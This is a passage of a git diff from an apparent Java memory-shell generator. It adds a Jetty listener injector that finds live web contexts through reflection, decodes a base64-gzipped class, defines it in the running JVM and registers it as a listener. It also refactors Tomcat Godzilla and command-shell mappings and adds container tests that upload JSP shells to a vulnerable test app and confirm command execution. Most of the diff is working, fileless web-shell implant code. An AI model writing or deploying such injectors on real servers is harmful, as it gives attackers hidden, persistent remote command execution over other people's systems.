ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/jetty/injector/JettyListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/jetty/injector/JettyListenerInjector.java new file mode 100644 index 00000000..4af38c8b --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/jetty/injector/JettyListenerInjector.java @@ -0,0 +1,253 @@ +package com.reajason.javaweb.memsell.jetty.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Array; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.EventListener; +import java.util.List; +import java.util.zip.GZIPInputStream; + +/** + * tested v7、v8、v9 + * + * @author ReaJason + */ +public class JettyListenerInjector { + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + static { + new JettyListenerInjector(); + } + + + public JettyListenerInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object listener = getListener(context); + addListener(context, listener); + } + } catch (Exception e) { + e.printStackTrace(); + } + + } + + List getContext() { + List contexts = new ArrayList(); + Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]); + for (Thread thread : threads) { + try { + Object contextClassLoader = getContextClassLoader(thread); + if (isWebAppClassLoader(contextClassLoader)) { + contexts.add(getContextFromWebAppClassLoader(contextClassLoader)); + } else if (isHttpConnection(thread)) { + contexts.add(getContextFromHttpConnection(thread)); + } + } catch (Exception ignored) { + } + } + return contexts; + } + + private Object getContextClassLoader(Thread thread) throws Exception { + return invokeMethod(thread, "getContextClassLoader"); + } + + private boolean isWebAppClassLoader(Object classLoader) { + return classLoader.getClass().getName().contains("WebAppClassLoader"); + } + + private Object getContextFromWebAppClassLoader(Object classLoader) throws Exception { + Object context = getFV(classLoader, "_context"); + Object handler = getFV(context, "_servletHandler"); + return getFV(handler, "_contextHandler"); + } + + private boolean isHttpConnection(Thread thread) throws Exception { + Object threadLocals = getFV(thread, "threadLocals"); + Object table = getFV(threadLocals, "table"); + for (int i = 0; i < Array.getLength(table); ++i) { + Object entry = Array.get(table, i); + if (entry != null) { + Object httpConnection = getFV(entry, "value"); + if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) { + return true; + } + } + } + return false; + } + + private Object getContextFromHttpConnection(Thread thread) throws Exception { + Object threadLocals = getFV(thread, "threadLocals"); + Object table = getFV(threadLocals, "table"); + for (int i = 0; i < Array.getLength(table); ++i) { + Object entry = Array.get(table, i); + if (entry != null) { + Object httpConnection = getFV(entry, "value"); + if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) { + Object httpChannel = invokeMethod(httpConnection, "getHttpChannel"); + Object request = invokeMethod(httpChannel, "getRequest"); + Object session = invokeMethod(request, "getSession"); + Object servletContext = invokeMethod(session, "getServletContext"); + return getFV(servletContext, "this$0"); + } + } + } + throw new Exception("HttpConnection not found"); + } + + + private Object getListener(Object context) { + Object listener = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + listener = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + listener = clazz.newInstance(); + } catch (Throwable e1) { + e1.printStackTrace(); + } + } + return listener; + } + + public static void addListener(Object context, Object listener) { + try { + if (isInjected(context, listener.getClass().getName())) { + return; + } + + invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener}); + } catch (Exception ignored) { + } + } + + + public static boolean isInjected(Object context, String className) throws Exception { + + try { + // jetty v8、 v9 + EventListener[] eventListeners = (EventListener[]) invokeMethod(context, "getEventListeners"); + for (EventListener eventListener : eventListeners) { + if (eventListener.getClass().getName().contains(className)) { + return true; + } + } + } catch (Exception ignored) { + } + + return false; + } + + + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + try { + Class decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + Class decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/TomcatShell.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/TomcatShell.java index 48affa02..86d45c8e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/TomcatShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/TomcatShell.java @@ -1,9 +1,6 @@ package com.reajason.javaweb.memsell.tomcat; -import com.reajason.javaweb.config.*; -import com.reajason.javaweb.memsell.CommandGenerator; -import com.reajason.javaweb.memsell.GodzillaGenerator; -import com.reajason.javaweb.memsell.InjectorGenerator; +import com.reajason.javaweb.memsell.AbstractShell; import com.reajason.javaweb.memsell.tomcat.command.CommandFilter; import com.reajason.javaweb.memsell.tomcat.command.CommandListener; import com.reajason.javaweb.memsell.tomcat.command.CommandValve; @@ -15,98 +12,33 @@ import com.reajason.javaweb.memsell.tomcat.injector.TomcatListenerInjector; import com.reajason.javaweb.memsell.tomcat.injector.TomcatValveInjector; import org.apache.commons.lang3.tuple.Pair; -import java.util.HashMap; -import java.util.Map; +import static com.reajason.javaweb.config.Constants.*; /** * @author ReaJason * @since 2024/11/22 */ -public class TomcatShell { - public static final String JAKARTA = "Jakarta"; - public static final String SERVLET = "Servlet"; - public static final String JAKARTA_SERVLET = "JakartaServlet"; - public static final String FILTER = "Filter"; - public static final String JAKARTA_FILTER = "JakartaFilter"; - public static final String LISTENER = "Listener"; - public static final String JAKARTA_LISTENER = "JakartaListener"; +public class TomcatShell extends AbstractShell { public static final String WEBSOCKET = "Websocket"; public static final String VALVE = "Valve"; public static final String JAKARTA_VALVE = "JakartaValve"; public static final String UPGRADE = "Upgrade"; public static final String EXECUTOR = "Executor"; - /** - * 哥斯拉 shell 生成的模板类以及注入器类 - */ - public static final Map, Class>> GODZILLA_SHELL_MAP = new HashMap<>(); + @Override + protected void initializeShellMaps() { + godzillaShellMap.put(FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class)); + godzillaShellMap.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class)); + godzillaShellMap.put(LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class)); + godzillaShellMap.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class)); + godzillaShellMap.put(VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class)); + godzillaShellMap.put(JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class)); - - static { - GODZILLA_SHELL_MAP.put(FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class)); - GODZILLA_SHELL_MAP.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class)); - GODZILLA_SHELL_MAP.put(LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class)); - GODZILLA_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class)); - GODZILLA_SHELL_MAP.put(VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class)); - GODZILLA_SHELL_MAP.put(JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class)); - } - - /** - * 命令执行 shell 生成的模板类以及注入器类 - */ - public static final Map, Class>> COMMAND_SHELL_MAP = new HashMap<>(); - - static { - COMMAND_SHELL_MAP.put(FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class)); - COMMAND_SHELL_MAP.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class)); - COMMAND_SHELL_MAP.put(LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class)); - COMMAND_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class)); - COMMAND_SHELL_MAP.put(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)); - COMMAND_SHELL_MAP.put(JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)); - } - - public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) { - Class injectorClass = injectorConfig.getInjectorClass(); - byte[] shellBytes; - switch (shellConfig.getShellTool()) { - case Godzilla: { - Pair, Class> classPair = GODZILLA_SHELL_MAP.get(shellConfig.getShellType()); - if (injectorClass == null) { - injectorClass = classPair.getRight(); - } - shellToolConfig.setClazz(classPair.getLeft()); - shellBytes = GodzillaGenerator.generate(shellConfig, (GodzillaConfig) shellToolConfig); - break; - } - case Command: { - Pair, Class> classPair = COMMAND_SHELL_MAP.get(shellConfig.getShellType()); - if (injectorClass == null) { - injectorClass = classPair.getRight(); - } - shellToolConfig.setClazz(classPair.getLeft()); - shellBytes = CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig); - break; - } - default: - throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool()); - } - - injectorConfig = injectorConfig - .toBuilder() - .injectorClass(injectorClass) - .shellClassName(shellToolConfig.getClassName()) - .shellClassBytes(shellBytes).build(); - - byte[] injectorBytes = InjectorGenerator.generate(shellConfig, injectorConfig); - - return GenerateResult.builder() - .shellConfig(shellConfig) - .shellToolConfig(shellToolConfig) - .injectorConfig(injectorConfig) - .shellClassName(shellToolConfig.getClassName()) - .shellBytes(shellBytes) - .injectorClassName(injectorClass.getName()) - .injectorBytes(injectorBytes) - .build(); + commandShellMap.put(FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class)); + commandShellMap.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class)); + commandShellMap.put(LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class)); + commandShellMap.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class)); + commandShellMap.put(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)); + commandShellMap.put(JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)); } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilter.java old mode 100755 new mode 100644 diff --git a/integration-test/docker-compose/jetty/docker-compose-6-jdk6.yaml b/integration-test/docker-compose/jetty/docker-compose-6-jdk6.yaml new file mode 100644 index 00000000..416616da --- /dev/null +++ b/integration-test/docker-compose/jetty/docker-compose-6-jdk6.yaml @@ -0,0 +1,9 @@ +services: + jetty66: + image: reajason/jetty:6.1-jdk6 + ports: + - "8080:8080" + environment: + JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 + volumes: + - ../../../vul-webapp/build/libs/vul-webapp.war:/usr/local/jetty/webapps/app.war \ No newline at end of file diff --git a/integration-test/docker-compose/jetty/docker-compose-9.4-jre8.yaml b/integration-test/docker-compose/jetty/docker-compose-9.4-jre8.yaml new file mode 100644 index 00000000..09ef591a --- /dev/null +++ b/integration-test/docker-compose/jetty/docker-compose-9.4-jre8.yaml @@ -0,0 +1,10 @@ +services: + jetty948: + image: jetty:9.4-jre8-slim + ports: + - "8080:8080" + - "5005:5005" + environment: + JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 + volumes: + - ../../../vul-webapp/build/libs/vul-webapp.war:/var/lib/jetty/webapps/app.war \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java index 2c78ad9c..243f4fd3 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java @@ -23,7 +23,7 @@ public class CommandShellTool { OkHttpClient okHttpClient = new OkHttpClient(); HttpUrl url = Objects.requireNonNull(HttpUrl.parse(entrypoint)) .newBuilder() - .addQueryParameter(shellConfig.getParamName(), "whoami") + .addQueryParameter(shellConfig.getParamName(), "id") .build(); Request request = new Request.Builder() .url(url) @@ -31,7 +31,8 @@ public class CommandShellTool { try (Response response = okHttpClient.newCall(request).execute()) { String res = response.body().string(); - assertTrue(res.contains("root")); + System.out.println(res); + assertTrue(res.contains("uid=")); } } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index 092edf90..9aa5e0c4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -23,7 +23,7 @@ public class ShellAssertionTool { .targetJdkVersion(targetJdkVersion) .build(); - String shellUrl; + String shellUrl = url + "/test"; switch (shellTool) { case Godzilla: String pass = "pass"; @@ -35,7 +35,7 @@ public class ShellAssertionTool { .build(); log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, pass, key, headerValue); String godzillaContent = new String(Objects.requireNonNull(GeneratorMain.generate(shellConfig, injectorConfig, godzillaConfig, packer))); - shellUrl = assertInjectIsOk(url, shellType, shellTool, godzillaContent, packer); + assertInjectIsOk(url, shellType, shellTool, godzillaContent, packer); GodzillaShellTool.testIsOk(shellUrl, godzillaConfig); break; case Command: @@ -43,23 +43,21 @@ public class ShellAssertionTool { CommandConfig commandConfig = CommandConfig.builder().paramName(paramName).build(); String commandContent = new String(Objects.requireNonNull(GeneratorMain.generate(shellConfig, injectorConfig, commandConfig, packer))); log.info("generated {} command shell with paramName: {}", shellType, commandConfig.getParamName()); - shellUrl = assertInjectIsOk(url, shellType, shellTool, commandContent, packer); + assertInjectIsOk(url, shellType, shellTool, commandContent, packer); CommandShellTool.testIsOk(shellUrl, commandConfig); } } - public static String assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packer.INSTANCE packer) { - String shellUrl = url + "/"; + public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packer.INSTANCE packer) { if (Packer.INSTANCE.JSP.equals(packer)) { String uploadEntry = url + "/upload"; String filename = shellType + shellTool + ".jsp"; - shellUrl = url + "/" + filename; + String shellUrl = url + "/" + filename; VulTool.uploadJspFileToServer(uploadEntry, filename, content); VulTool.urlIsOk(shellUrl); } else if (Packer.INSTANCE.ScriptEngine.equals(packer)) { String uploadEntry = url + "/js"; VulTool.postJS(uploadEntry, content); } - return shellUrl; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java index 6da1c015..3073f30d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java @@ -15,6 +15,7 @@ public class VulTool { Request request = new Request.Builder() .url(url).build(); try (Response response = new OkHttpClient().newCall(request).execute()) { + System.out.println(response.body().string()); Assertions.assertTrue(response.isSuccessful()); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java new file mode 100644 index 00000000..25205bf1 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java @@ -0,0 +1,52 @@ +package com.reajason.javaweb.integration.jetty; + +import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.packer.Packer; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +@Testcontainers +public class Jetty10ContainerTest { + public static final String imageName = "jetty:10-jre11-slim"; + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) + ); + } + + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V11, packer); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java new file mode 100644 index 00000000..a61b1685 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java @@ -0,0 +1,51 @@ +package com.reajason.javaweb.integration.jetty; + +import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.packer.Packer; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +@Testcontainers +public class Jetty11ContainerTest { + public static final String imageName = "jetty:11-jre11-slim"; + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) + ); + } + + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V11, packer); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java new file mode 100644 index 00000000..b9b2d776 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java @@ -0,0 +1,60 @@ +package com.reajason.javaweb.integration.jetty; + +import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.packer.Packer; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +@Slf4j +@Testcontainers +public class Jetty61ContainerTest { + public static final String imageName = "reajason/jetty:6.1-jdk6"; + + static Stream casesProvider() { + return Stream.of( +// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP) +// arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), +// arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) + ); + } + + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer); + } + + @AfterAll + static void tearDown() { + log.info(container.getLogs()); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java new file mode 100644 index 00000000..43334c3b --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java @@ -0,0 +1,52 @@ +package com.reajason.javaweb.integration.jetty; + +import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.packer.Packer; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +@Testcontainers +public class Jetty76ContainerTest { + public static final String imageName = "reajason/jetty:7.6-jdk6"; + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) + ); + } + + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java new file mode 100644 index 00000000..38dae526 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java @@ -0,0 +1,52 @@ +package com.reajason.javaweb.integration.jetty; + +import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.packer.Packer; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +@Testcontainers +public class Jetty81ContainerTest { + public static final String imageName = "reajason/jetty:8.1-jdk7"; + + static Stream 